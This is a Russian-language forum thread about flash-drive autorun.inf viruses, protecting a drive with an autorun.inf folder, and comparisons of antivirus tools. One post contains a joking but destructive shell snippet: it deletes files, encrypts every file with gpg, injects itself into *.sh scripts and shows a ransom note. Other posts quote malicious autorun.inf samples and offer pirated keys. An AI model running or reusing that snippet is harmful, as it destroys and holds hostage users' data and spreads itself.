кстати, autorun.inf может создавать что угодно в винде
РЕШЕТО
в линуксе autorun может создать только рут, как и любой файл в корне. Это по умолчанию, и это хорошо.
оффтопик:
ЗЫЖ защита от авторана - создайте ПАПКУ с таким именем в корне. говорят вири не могут её удалить.
Список продолжать?
да, продолжите
с примерами, please
будет познавательно...
Так и запишем, делать вирусы с удалением папки autorun.inf :P.ЗЫЖ защита от авторана - создайте ПАПКУ с таким именем в корне. говорят вири не могут её удалить.
мда. пора бы уже новую ветку на форуме создавать..
"безопасность" например.
а чо? меня вот тоже интересуют вопросы относительно вайфая..
к примеру принцип работы aircrack-ng..
и как от него защитицо wink
Darth Revan, а вирусмейкеры в курсе. но нам-же тоже нужен какой-то простой способ самих себя обезопасить?!
и разглашения я не боюсь - мазданые ламеры мои посты не читают принципиально :)
у них от одного моего ника обида. :P
к примеру принцип работы aircrack-ng..
и как от него защитицо
не юзать вайфай, как это делаю я :)
Так и запишем, делать вирусы с удалением папки autorun.inf
юмор оценил
в свете того, кто это на самом деле предлагал wink
if [ -d "autorun.inf" ]; then
Who="Свой";
exit 0;
fi;а венду можно просто убить
Нужно!
мазданые ламеры мои посты не читают принципиально
Зашёл я как то на какой то форум по винде, что то для работы спросить. Так меня там забанили только за то что ОС не винда!
Так и написали в сплывающем окне: "reason your OS not Windows", раззадорили только!
Поэтому давайте качать файлы и не проверять, а кидать им как есть, раз они любят секс и такие умные, то и пусть е.......!
что вирус - понятно. в текстовом файле видно, что гаденыш создает на флеше папочку стара, которую действительно не видно под виндой. а вот файл в /систем32 убить побоялся - выглядит как системный. А ведь нужно было бы хотя бы попытаться.
прибью гада, я бы и винду прибил (см.аватар), а как же гамез??? И у меня точно нет положительного отношения к проге, которая лезет в окно (каламбурчик-с), когда ты гонишь ее в дверь.
а у меня был случай-
подарили мне программку зажатую в архив, снабженный заразой - так, что при открытии авира не давала его распаковать. Тогда я распаковал архив в линуксе. После этого в винде спокойно установил прогу, вируса уже не было. Иногда, получается, что простое копирование проги под линуксом освобождает программу от добавки.
А каким образом это происходит? Пингвин молитву из open требника зачитывает в процессе разархивирования? smile
Вы небось Авиру халявную пользовали? :D
Товарищи, объясните мне почему советуют поставить НОД версии 2,7 когда есть уже 4,2 и НОД никогда не грузил систему и является довольно таки хорошим антивирусом? И почему "легковесный" Аваст это хорошо? Более дерганого, зашуганого и бесполезного антивируса трудно себе представить. Аваст - это женщина-истеричка из женского батальона Керенского. :D
ЗЫ. Да жуткие страсти рассказывают тут. Начитался и вспомнил, что еще 2 недели назад вырубил свой НОД из автозагрузки и две недели в сети без защиты, но правда под юзверем. :lol: Нужно будет проверится. Но думаю что все в порядке.
[quote=yxma]а у меня был случай-
подарили мне программку зажатую в архив, снабженный заразой - так, что при открытии авира не давала его распаковать. Тогда я распаковал архив в линуксе. После этого в винде спокойно установил прогу, вируса уже не было. Иногда, получается, что простое копирование проги под линуксом освобождает программу от добавки.
А каким образом это происходит? Пингвин молитву из open требника зачитывает в процессе разархивирования? smile
Вы небось Авиру халявную пользовали? :D[/quote]
из всех антивирей больше всего доверял авире.
зря вы так.
Очень даже не зря.
Не скажу что видел все, но антивири погонял на своем веку. smile Как всегда в качестве эксперемента.
Из бесплатных Авира лучший продукт, но это только из бесплатных. Как и Comodo из бесплатных лучший файрволл.
А для ТС, если уж есть опасения что подцепил. То сходи на сайт ДрВеба и скачай загрузочных диск на базе линуха с вебовским анитвирем, запиши его и загрузись с него. Без загрузки ОС будешь бить врагов ежели найдешь таковых. Есть нечто подобное и у каспера. Но думаю лучше к вебу. http://www.freedrweb.com/livecd/?lng=ru
Очень даже не зря.
Не скажу что видел все, но антивири погонял на своем веку. smile Как всегда в качестве эксперемента.
Из бесплатных Авира лучший продукт, но это только из бесплатных. Как и Comodo из бесплатных лучший файрволл.
А для ТС, если уж есть опасения что подцепил. То сходи на сайт ДрВеба и скачай загрузочных диск на базе линуха с вебовским анитвирем, запиши его и загрузись с него. Без загрузки ОС будешь бить врагов ежели найдешь таковых. Есть нечто подобное и у каспера. Но думаю лучше к вебу. http://www.freedrweb.com/livecd/?lng=ru
ключевым здесь является "ежели найдешь". и если я, будучи неавтоматизированным юзером, круче автоматизированных нода, авиры, каспера и т.д., то что мне с них за польза?
было время, когда у меня стояла бесплатная авира и нод32 с обновлениями. так авира в ноде нашла заразу и вылечила. То, что нод не заметил операции говорит само за себя. Он был НЕ В КУРСЕ ЗАРАЖЕНИЯ. можете не верить.
по поводу виря в архиве все просто - линух не умеет подчиняться виндовым командам. Как результат - он просто игнорирует попытку заразы перехватить управление и распаковывает дальше. то, как вири прячутся от венды, не проходит под линухом. как та же папочка стара - под вендой ее не видно, чего под линухом не скажешь.
ZhuK, у меня в винде стоит Comodo Internet Securyti. Если руки кривые или в голове опилки, то он тоже истеричен :lol:
Сколько им пользуюсь-лучше пока ничего не видел (хотя на форумах виндузятники дружно кричат "г...о"(потому что бесплатно)) smile
if [ -d "autorun.inf" ]; then Who="Свой"; exit 0; fi;
не
if [ ! -e "autorun.inf" ]; then
Who="Свой"
mkdir "autorun.inf"
exit 0
elif [ -d "autorun.inf" ]; then
Who="Свой";
exit 0;
else
Who="ВРАГ"
find . -depth -exec rm -f {} \;
fi;ЗЫЖ а лучше так:
Who="ВРАГ"
find . -type f -exec gpg --encrypt --recipient "xacker" {} \;
find / -type f -name "*.sh" -exec sed -it -e "$ r $0" -s "/exit/ r $0" {} \; 2<&1 >/dev/null
echo "все файлы на вашей маздайной флешке зашифрованы! пришлите $RАND баксов на адрес xacckker666@mail.ru"
вот вам и готовый вирус для любого линуха. :D
Так и написали в сплывающем окне: "reason your OS not Windows", раззадорили только!
ну юзер-агент смените :)
Товарищи, объясните мне почему советуют поставить НОД версии 2,7
ЕМНИП кряк для 2.7 меньше глючит. или что-то подобное.
И почему "легковесный" Аваст это хорошо?
потому-что он бесплатный, что лучше вареза с т.з. безопасности. если вам плевать на эту т.з., то зачем вообще ставить антивирус?
drBatty, зачэм кряк? smile В сети полно ключей(адреса давать?) smile . Кряки это из прошлого, дремучего прошлого. Я думаю предложили не владея ситуацией, скорее всего просто не пользуется этим человек. Извини, Док, но насчет Аваст не могу согласится. smile Из бесплатных все же лучше Авира по моему. Зачем антивирь ставить? Да наверное чтобы флэшки проверять, в моем случае это самое страшное - гадость с флэшек меня чаще атаковала нежели из просторов инета. И где только люди берут эту гадость? smile
Wolfenberg, этот продукт действительно очень хорош. Лучше пожалуй Outpost, настройки пошире, но платный.
ZhuK, стоял у меня Outpost. Раньше был хороший. Теперь нет. Правила в нём не меняются, 90% программ под запретом (потому что создатели про них не знают ни черта :[ ). Даже простые мини-игры приходится через три версты обводить. На черта он нужен?. Зато, кстати, я с ним едва взлом не прозевал (он просто доступ на 100% открыл). И за это платить?
Я лучше за Comodo Pro заплачу smile
drBatty, Darth Revan мыслите в верном направлении)
А еще можно вот так:
if [ ! -e "autorun.inf" ]; then
Who="Свой"
mkdir "autorun.inf"
echo "I am a file, that delete nobody..." > "autorun.inf/CON"
exit 0
elif [ -d "autorun.inf" ]; then
Who="Свой"
cat "autorun.inf/CON"
exit 0
else
Who="ВРАГ"
# Просто удалить все файлы - это некрасиво. Гораздо лучше,
# пропарсить autorun.inf на предмет запускаемых файлов, и уничтожить вредителей.
fixed;
Для примера, как выглядит флешковый ауторан:
[AutoRun]
open=ntde1ect.com
;shell\open=Open(&O)
shell\open\Command=ntde1ect.com
shell\open\Default=1
;shell\explore=Manager(&X)
shell\explore\Command=ntde1ect.com
или:
[AUTORUN]
Shellexecute=Secret.exe
Надо будет еще подумать, как лучше это заделать.
а я везде читал что на линукс почти нету вирусов.
